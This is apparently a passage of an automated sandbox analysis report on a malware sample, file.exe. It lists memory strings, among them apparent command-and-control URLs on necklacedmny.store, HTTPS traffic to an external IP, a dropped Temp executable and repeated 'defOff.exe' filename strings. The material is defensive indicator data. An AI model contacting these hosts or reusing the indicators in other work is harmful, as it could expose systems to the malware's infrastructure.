Source: file.exe, 00000000.00000003.2143978453.0000000005446000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2143919731.0000000005449000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2144132431.0000000005446000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2143978453.0000000005446000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2143919731.0000000005449000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2144132431.0000000005446000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2143978453.0000000005446000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2143919731.0000000005449000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2144132431.0000000005446000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: file.exe, 00000000.00000003.2189262274.0000000005411000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: file.exe, 00000000.00000003.2309522693.0000000000825000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2310542213.0000000000826000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2309210471.0000000000820000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.stoF
Source: file.exe, file.exe, 00000000.00000003.2245162235.000000000080A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2217103827.0000000000807000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2310516631.000000000080A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2310271074.00000000007B3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2193027266.0000000000827000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2245384514.00000000007DA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2143156128.0000000000807000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2143002387.00000000007D9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2193027266.0000000000807000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2213479906.000000000080A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/
Source: file.exe, 00000000.00000003.2193027266.0000000000807000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/=
Source: file.exe, 00000000.00000003.2217103827.0000000000807000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2213479906.000000000080A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/E
Source: file.exe, 00000000.00000003.2213479906.0000000000827000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2217103827.0000000000827000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/E2
Source: file.exe, 00000000.00000003.2309003322.000000000541D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2213460047.0000000005419000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2189423001.000000000541A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2225063066.000000000541D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.2318007620.000000000541D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2245097313.000000000541D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2190144483.000000000541D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2189262274.0000000005411000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/X/ztlxfXsIh/
Source: file.exe, 00000000.00000003.2309142536.000000000083C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2213479906.0000000000827000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2310542213.0000000000826000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2225262073.0000000000842000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2309210471.0000000000820000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2245162235.0000000000827000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2143002387.0000000000827000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2213608324.0000000000845000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2217208145.0000000000844000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api
Source: file.exe, 00000000.00000003.2245335113.0000000000844000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2225262073.0000000000842000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2213608324.0000000000845000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2217208145.0000000000844000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api:
Source: file.exe, 00000000.00000003.2245162235.0000000000827000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiG
Source: file.exe, 00000000.00000003.2309522693.0000000000825000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2213479906.0000000000827000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2310542213.0000000000826000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2309210471.0000000000820000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2245162235.0000000000827000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apib
Source: file.exe, 00000000.00000002.2310271074.00000000007B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apie6
Source: file.exe, 00000000.00000003.2143002387.0000000000827000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apin3
Source: file.exe, 00000000.00000002.2310271074.00000000007B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apis
Source: file.exe, 00000000.00000003.2245411232.000000000082E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2213479906.0000000000837000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2245162235.0000000000827000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store:443/api
Source: file.exe, 00000000.00000003.2174917714.000000000553E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.2174917714.000000000553E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: file.exe, 00000000.00000003.2189423001.000000000541A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2189262274.0000000005411000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: file.exe, 00000000.00000003.2189423001.000000000541A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2189262274.0000000005411000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: file.exe, 00000000.00000003.2143978453.0000000005446000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2143919731.0000000005449000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2144132431.0000000005446000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.2143978453.0000000005446000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2143919731.0000000005449000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2144132431.0000000005446000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: file.exe, 00000000.00000003.2174917714.000000000553E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000000.00000003.2174917714.000000000553E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000003.2174917714.000000000553E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000003.2174917714.000000000553E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2174917714.000000000553E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000003.2174917714.000000000553E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52228
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52229
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52233
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52231
Source: unknown	Network traffic detected: HTTP traffic on port 52250 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52226
Source: unknown	Network traffic detected: HTTP traffic on port 52230 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52227
Source: unknown	Network traffic detected: HTTP traffic on port 52231 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52233 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52229 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52230
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52250
Source: unknown	Network traffic detected: HTTP traffic on port 52226 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52227 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52228 -> 443

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:52226 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:52227 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:52228 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:52229 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:52230 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:52231 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:52233 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:52250 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: MMS43LFVAQOG1OXT3FFOALII.exe.0.dr	Static PE information: section name:
Source: MMS43LFVAQOG1OXT3FFOALII.exe.0.dr	Static PE information: section name: .idata

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007E9B31	0_3_007E9B31
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007E9B31	0_3_007E9B31
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007E998E	0_3_007E998E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007E998E	0_3_007E998E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0081DB67	0_3_0081DB67
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007E9B31	0_3_007E9B31
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007E9B31	0_3_007E9B31
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007E998E	0_3_007E998E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_007E998E	0_3_007E998E
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Code function: 3_2_00A8129C	3_2_00A8129C
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Code function: 3_2_00A88AFC	3_2_00A88AFC
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Code function: 3_2_00A88B26	3_2_00A88B26
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Code function: 3_2_00A88B0C	3_2_00A88B0C
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Code function: 3_2_00A88B61	3_2_00A88B61
Source: C:\Users\user\AppData\Local\Temp\MMS43LFVAQOG1OXT3FFOALII.exe	Code function: 3_2_00A88B7B	3_2_00A88B7B

Source: file.exe	Binary or memory string: OriginalFilename vs file.exe
Source: file.exe, 00000000.00000003.2292933419.00000000059C9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2298640273.00000000058B4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2285549884.00000000059A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2300574139.00000000059FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2289558913.00000000058B6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2309258773.00000000054D7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2285188312.00000000058B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2283810690.00000000058BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2288975929.00000000058B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2299099591.00000000058B4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2280936384.0000000005965000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2279963145.0000000005952000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2291095139.00000000059CE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2283351490.0000000005984000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2296166512.0000000005AE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2282713597.00000000058B7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2283593361.0000000005983000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2283702882.0000000005A61000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.2320192800.00000000054D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2288477584.00000000059B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2279679930.00000000058B7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2289939940.00000000059B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2308618989.000000000543C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2298487521.00000000059E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2288309772.00000000058B6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2300732820.0000000005B48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2282319786.00000000058BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2279797102.000000000595A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2278810702.0000000005519000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2282850483.0000000005983000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2280237582.00000000059FE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2280684159.0000000005958000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2281454579.0000000005A27000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2278419123.0000000005518000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2295292800.00000000058B7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2300908559.00000000058B4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2287470378.00000000058BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2283267400.00000000058B7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2309142536.000000000083C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2297514553.00000000059DC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2281347240.000000000596E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2280061095.00000000058B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2286748321.00000000059AC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2281027523.00000000058B2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2309003322.0000000005412000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2298808798.00000000059EC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2298331894.00000000058B6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2286308966.00000000058BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2299924539.00000000059F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2279135971.00000000058BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2297664366.00000000058B4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2282189327.0000000005979000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2298201769.00000000059F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2281926245.00000000058B7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2298068998.00000000058BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2297934103.0000000005AFE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2278981595.000000000595D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2295585997.00000000058B4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2291486546.00000000058B6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2287722420.00000000059AF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2281134506.0000000005966000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2280863752.00000000058BD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2296431578.00000000058B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2280331987.00000000058B2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2297183197.00000000058B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2289247526.00000000059BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2301205870.0000000005B43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2279593356.0000000005513000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2278498517.00000000058BD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2284499360.0000000005A80000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2296729934.00000000059D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2299749457.00000000058BB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2287987001.00000000058B2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2284014995.00000000058B6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2283912334.0000000005994000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2281700298.0000000005988000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2279283222.0000000005961000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2299274250.00000000059E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2283023369.00000000058BB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2288646806.0000000005AAC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2300126734.00000000058B7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2280156337.0000000005955000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2283156295.000000000598A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2284146779.0000000005997000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2294117665.00000000058BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2295755707.00000000059CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2299450676.0000000005B1B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2280775138.0000000005A05000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2295146171.00000000059CE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2304683127.0000000005B6C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2282598484.0000000005A41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2300276982.0000000005A01000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2295422956.00000000059CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2282453350.0000000005978000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2290293321.0000000005ABE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2279496689.00000000058B6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2300425767.00000000058BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2283482447.00000000058B2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2290692762.00000000058C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
